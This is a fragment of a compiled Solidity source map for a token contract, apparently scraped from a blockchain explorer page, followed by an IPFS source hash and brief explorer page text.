;::::0;11697:15:::1;11714:11:::0;11666:8:::1;:60::i;:::-;11737:15;::::0;:196:::1;::::0;-1:-1:-1;;;11737:196:0;;-1:-1:-1;;;;;11737:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;11818:11;;11737:15:::1;::::0;11860:4;;11887::::1;::::0;11907:15:::1;::::0;11737:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5211:6:0;:14;;-1:-1:-1;;;;5211:14:0;;;-1:-1:-1;;;;11460:481:0:o;12658:92::-;12715:10;;:27;;-1:-1:-1;;;;;12715:10:0;;;;:27;;;;;12735:6;;12715:10;:27;:10;:27;12735:6;12715:10;:27;;;;;;;;;;;;;;;;;;;6554:250;-1:-1:-1;;;;;6661:15:0;;;;;;:9;:15;;;;;;:32;;6681:11;6661:19;:32::i;:::-;-1:-1:-1;;;;;6645:15:0;;;;;;;:9;:15;;;;;;:48;;;;6719:13;;;;;;;:30;;6737:11;6719:17;:30::i;:::-;-1:-1:-1;;;;;6704:13:0;;;;;;;:9;:13;;;;;;;:45;;;;6765:31;;;;;;;;;;6784:11;1361:25:1;;1349:2;1334:18;;1215:177;2130:246:0;2188:7;2212:1;2217;2212:6;2208:47;;-1:-1:-1;2242:1:0;2235:8;;2208:47;2265:9;2277:5;2281:1;2277;:5;:::i;:::-;2265:17;-1:-1:-1;2310:1:0;2301:5;2305:1;2265:17;2301:5;:::i;:::-;:10;2293:56;;;;-1:-1:-1;;;2293:56:0;;12898:2:1;2293:56:0;;;12880:21:1;12937:2;12917:18;;;12910:30;12976:34;12956:18;;;12949:62;-1:-1:-1;;;13027:18:1;;;13020:31;13068:19;;2293:56:0;12696:397:1;2293:56:0;2367:1;2130:246;-1:-1:-1;;;2130:246:0:o;2384:132::-;2442:7;2469:39;2473:1;2476;2469:39;;;;;;;;;;;;;;;;;:3;:39::i;11353:99::-;11410:7;11438:1;11436;:3;11435:9;;11443:1;11435:9;;;-1:-1:-1;11441:1:0;11353:99;-1:-1:-1;11353:99:0:o;1788:136::-;1846:7;1873:43;1877:1;1880;1873:43;;;;;;;;;;;;;;;;;:3;:43::i;10806:255::-;10915:15;10932:47;10950:4;10956:11;10969:9;10932:17;:47::i;:::-;10915:64;-1:-1:-1;10990:63:0;11010:4;11015:2;10915:64;11026:26;:11;11042:9;11026:15;:26::i;:::-;10990:19;:63::i;:::-;10904:157;10806:255;;;;:::o;1601:179::-;1659:7;;1691:5;1695:1;1691;:5;:::i;:::-;1679:17;;1720:1;1715;:6;;1707:46;;;;-1:-1:-1;;;1707:46:0;;13300:2:1;1707:46:0;;;13282:21:1;13339:2;13319:18;;;13312:30;13378:29;13358:18;;;13351:57;13425:18;;1707:46:0;13098:351:1;2524:189:0;2610:7;2645:12;2638:5;2630:28;;;;-1:-1:-1;;;2630:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2669:9:0;2681:5;2685:1;2681;:5;:::i;10381:417::-;10526:10;;10479:7;;;;-1:-1:-1;;;;;10526:10:0;;;10517:19;;;;:70;;10553:17;;:34;;10575:11;10553:21;:34::i;:::-;10517:70;;;10539:11;10517:70;10499:88;-1:-1:-1;10602:11:0;;10598:168;;10673:4;10655:24;;;;:9;:24;;;;;;:39;;10684:9;10655:28;:39::i;:::-;10648:4;10630:24;;;;:9;:24;;;;;;;:64;;;;10714:40;;-1:-1:-1;;;;;10714:40:0;;;;;;;10744:9;1361:25:1;;1349:2;1334:18;;1215:177;10714:40:0;;;;;;;;10598:168;10783:7;10381:417;-1:-1:-1;;;;10381:417:0:o;11069:276::-;-1:-1:-1;;;;;11200:15:0;;;;;;:9;:15;;;;;;:31;;11220:10;11200:19;:31::i;:::-;-1:-1:-1;;;;;11184:15:0;;;;;;;:9;:15;;;;;;:47;;;;11257:13;;;;;;;:32;;11275:13;11257:17;:32::i;:::-;-1:-1:-1;;;;;11242:13:0;;;;;;;:9;:13;;;;;;;:47;;;;11305:32;;;;;;;;;;11323:13;1361:25:1;;1349:2;1334:18;;1215:177;11305:32:0;;;;;;;;11069:276;;;;:::o;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;703:315;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;2047:247::-;2106:6;2159:2;2147:9;2138:7;2134:23;2130:32;2127:52;;;2175:1;2172;2165:12;2127:52;2214:9;2201:23;2233:31;2258:5;2233:31;:::i;2507:388::-;2575:6;2583;2636:2;2624:9;2615:7;2611:23;2607:32;2604:52;;;2652:1;2649;2642:12;2604:52;2691:9;2678:23;2710:31;2735:5;2710:31;:::i;:::-;2760:5;-1:-1:-1;2817:2:1;2802:18;;2789:32;2830:33;2789:32;2830:33;:::i;:::-;2882:7;2872:17;;;2507:388;;;;;:::o;3165:127::-;3226:10;3221:3;3217:20;3214:1;3207:31;3257:4;3254:1;3247:15;3281:4;3278:1;3271:15;3297:416;3386:1;3423:5;3386:1;3437:270;3458:7;3448:8;3445:21;3437:270;;;3517:4;3513:1;3509:6;3505:17;3499:4;3496:27;3493:53;;;3526:18;;:::i;:::-;3576:7;3566:8;3562:22;3559:55;;;3596:16;;;;3559:55;3675:22;;;;3635:15;;;;3437:270;;;3441:3;3297:416;;;;;:::o;3718:806::-;3767:5;3797:8;3787:80;;-1:-1:-1;3838:1:1;3852:5;;3787:80;3886:4;3876:76;;-1:-1:-1;3923:1:1;3937:5;;3876:76;3968:4;3986:1;3981:59;;;;4054:1;4049:130;;;;3961:218;;3981:59;4011:1;4002:10;;4025:5;;;4049:130;4086:3;4076:8;4073:17;4070:43;;;4093:18;;:::i;:::-;-1:-1:-1;;4149:1:1;4135:16;;4164:5;;3961:218;;4263:2;4253:8;4250:16;4244:3;4238:4;4235:13;4231:36;4225:2;4215:8;4212:16;4207:2;4201:4;4198:12;4194:35;4191:77;4188:159;;;-1:-1:-1;4300:19:1;;;4332:5;;4188:159;4379:34;4404:8;4398:4;4379:34;:::i;:::-;4449:6;4445:1;4441:6;4437:19;4428:7;4425:32;4422:58;;;4460:18;;:::i;:::-;4498:20;;3718:806;-1:-1:-1;;;3718:806:1:o;4529:140::-;4587:5;4616:47;4657:4;4647:8;4643:19;4637:4;4616:47;:::i;4674:168::-;4747:9;;;4778;;4795:15;;;4789:22;;4775:37;4765:71;;4816:18;;:::i;4847:356::-;5049:2;5031:21;;;5068:18;;;5061:30;5127:34;5122:2;5107:18;;5100:62;5194:2;5179:18;;4847:356::o;5560:251::-;5630:6;5683:2;5671:9;5662:7;5658:23;5654:32;5651:52;;;5699:1;5696;5689:12;5651:52;5731:9;5725:16;5750:31;5775:5;5750:31;:::i;6737:306::-;6825:6;6833;6841;6894:2;6882:9;6873:7;6869:23;6865:32;6862:52;;;6910:1;6907;6900:12;6862:52;6939:9;6933:16;6923:26;;6989:2;6978:9;6974:18;6968:25;6958:35;;7033:2;7022:9;7018:18;7012:25;7002:35;;6737:306;;;;;:::o;7327:277::-;7394:6;7447:2;7435:9;7426:7;7422:23;7418:32;7415:52;;;7463:1;7460;7453:12;7415:52;7495:9;7489:16;7548:5;7541:13;7534:21;7527:5;7524:32;7514:60;;7570:1;7567;7560:12;7609:184;7679:6;7732:2;7720:9;7711:7;7707:23;7703:32;7700:52;;;7748:1;7745;7738:12;7700:52;-1:-1:-1;7771:16:1;;7609:184;-1:-1:-1;7609:184:1:o;10467:125::-;10532:9;;;10553:10;;;10550:36;;;10566:18;;:::i;10952:135::-;10991:3;11012:17;;;11009:43;;11032:18;;:::i;:::-;-1:-1:-1;11079:1:1;11068:13;;10952:135::o;11092:128::-;11159:9;;;11180:11;;;11177:37;;;11194:18;;:::i;11357:127::-;11418:10;11413:3;11409:20;11406:1;11399:31;11449:4;11446:1;11439:15;11473:4;11470:1;11463:15;11489:980;11751:4;11799:3;11788:9;11784:19;11830:6;11819:9;11812:25;11856:2;11894:6;11889:2;11878:9;11874:18;11867:34;11937:3;11932:2;11921:9;11917:18;11910:31;11961:6;11996;11990:13;12027:6;12019;12012:22;12065:3;12054:9;12050:19;12043:26;;12104:2;12096:6;12092:15;12078:29;;12125:1;12135:195;12149:6;12146:1;12143:13;12135:195;;;12214:13;;-1:-1:-1;;;;;12210:39:1;12198:52;;12305:15;;;;12270:12;;;;12246:1;12164:9;12135:195;;;-1:-1:-1;;;;;;;12386:32:1;;;;12381:2;12366:18;;12359:60;-1:-1:-1;;;12450:3:1;12435:19;12428:35;12347:3;11489:980;-1:-1:-1;;;11489:980:1:o;12474:217::-;12514:1;12540;12530:132;;12584:10;12579:3;12575:20;12572:1;12565:31;12619:4;12616:1;12609:15;12647:4;12644:1;12637:15;12530:132;-1:-1:-1;12676:9:1;;12474:217::o

Swarm Source

ipfs://a673dc944471e5d07c6ec7ce5d27f8e8da58d7eedb9a720201457dafa4ec5ba8
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.